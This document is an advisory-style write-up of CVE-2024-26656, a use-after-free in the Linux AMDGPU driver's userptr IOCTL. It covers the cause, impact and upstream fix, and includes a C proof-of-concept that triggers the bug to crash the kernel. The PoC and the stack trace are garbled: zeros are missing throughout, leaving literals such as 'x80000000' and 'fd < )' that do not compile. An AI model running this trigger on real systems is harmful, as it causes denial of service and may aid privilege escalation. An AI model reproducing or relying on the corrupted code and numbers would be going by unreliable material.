CVE-2024-26656 is a serious use-after-free vulnerability that was discovered and resolved in the Linux kernel's AMDGPU Direct Rendering Manager (DRM) driver. This bug could be triggered by a carefully crafted IOCTL call, leading to memory access violations and potentially system instability or escalation of privileges.

This issue was reported by [Joonkyo Jung](mailto:joonkyoj@yonsei.ac.kr). The bug affects any Linux system running the AMDGPU driver, regardless of AMD GPU ASIC version.

In simple terms: By passing invalid parameters (address and size) to a specific function, attackers could cause the kernel to access memory that has already been freed, leading to a crash or, in some cases, potentially letting them execute code in the kernel context.

Technical Details

The vulnerability lies in the way the AMDGPU driver handles the amdgpu_gem_userptr_ioctl function. When a user submits an IOCTL request with an invalid memory region, the driver fails early in the registration process but still proceeds to clean up (unregister). This cleanup process attempts to access already-freed or invalid memory regions, leading to a use-after-free bug.

Input: A user provides a bogus pointer and large memory size to the IOCTL.

2. Flow: amdgpu_hmm_register fails due to invalid address/size, but on object free, amdgpu_hmm_unregister is called anyway.
3. Effect: Unregister operation tries to access a resource that wasn’t properly initialized, triggering the use-after-free.

The following code (as originally reported) demonstrates how the bug can be triggered

#include <stdio.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdint.h>

#include <drm/drm.h>
#include <amdgpu_drm.h> // You might need to install libdrm-dev

static void trigger_bug(int fd)
{
    struct drm_amdgpu_gem_userptr arg;
    int ret;

    // Intentionally using an invalid address/size
    arg.addr = xffffffffffff000ULL;
    arg.size = x80000000; // 2GB, may point outside valid space
    arg.flags = x7;

    ret = ioctl(fd, xC1186451, &arg); // Magic value -> amdgpu_gem_userptr_ioctl
    printf("ioctl returned: %d\n", ret);
}

int main()
{
    int fd = open("/dev/dri/card", O_RDWR);
    if (fd < ) {
        perror("Failed to open device");
        return 1;
    }
    trigger_bug(fd);
    close(fd);
    return ;
}

NOTE: Running this code could crash your kernel or cause a denial of service. Do not run outside a VM or on important systems!

How the Vulnerability Was Triggered

The bug was most commonly triggered using fuzzing tools (like syzkaller), but a knowledgeable user could also write a minimal C program as shown above.

When in use, the kernel’s stack could look like this

mmu_interval_notifier_remove+x327/x340
amdgpu_hmm_unregister+x34/x50 [amdgpu]
amdgpu_gem_object_free+x66/xa [amdgpu]
drm_gem_object_free+x3b/x50 [drm]
amdgpu_gem_userptr_ioctl+x306/x500 [amdgpu]
...

The process involves an invalid call to mmu_interval_notifier_remove, which ends up accessing uninit or already-freed data, mostly due to missing proper checks after the initial registration failure.

Crash the system (DoS)

- Potentially escalate privileges (if the attacker can control/use the kernel memory access pattern created)

Compromise system stability

Because many desktop and server systems use AMD GPUs, any environment with untrusted user access or running GPU-accelerated container workloads could be at risk.

Fix and Patch Information

An official kernel patch addresses this issue (see upstream LKML post):

The fix: Add stricter checks and proper reference counting, ensuring amdgpu_hmm_unregister is only called for successfully-initialized objects.

To resolve

- Update your kernel to a version including this patch (Linux 6.8-rc4 or newer, or backports in LTS kernels).

References

- Upstream kernel patch
- syzkaller bug report (LKML)
- AMDGPU DRM Driver documentation

Conclusion

CVE-2024-26656 demonstrates how complex modern kernel drivers can be vulnerable if all edge cases are not carefully accounted for — especially with user-controlled memory management. Ensure your systems are patched! Kernel security issues like these often have high impact and, usually, a simple update is all that’s needed to stay safe.

Timeline

Published on: 04/02/2024 07:15:42 UTC
Last modified on: 03/17/2025 15:13:27 UTC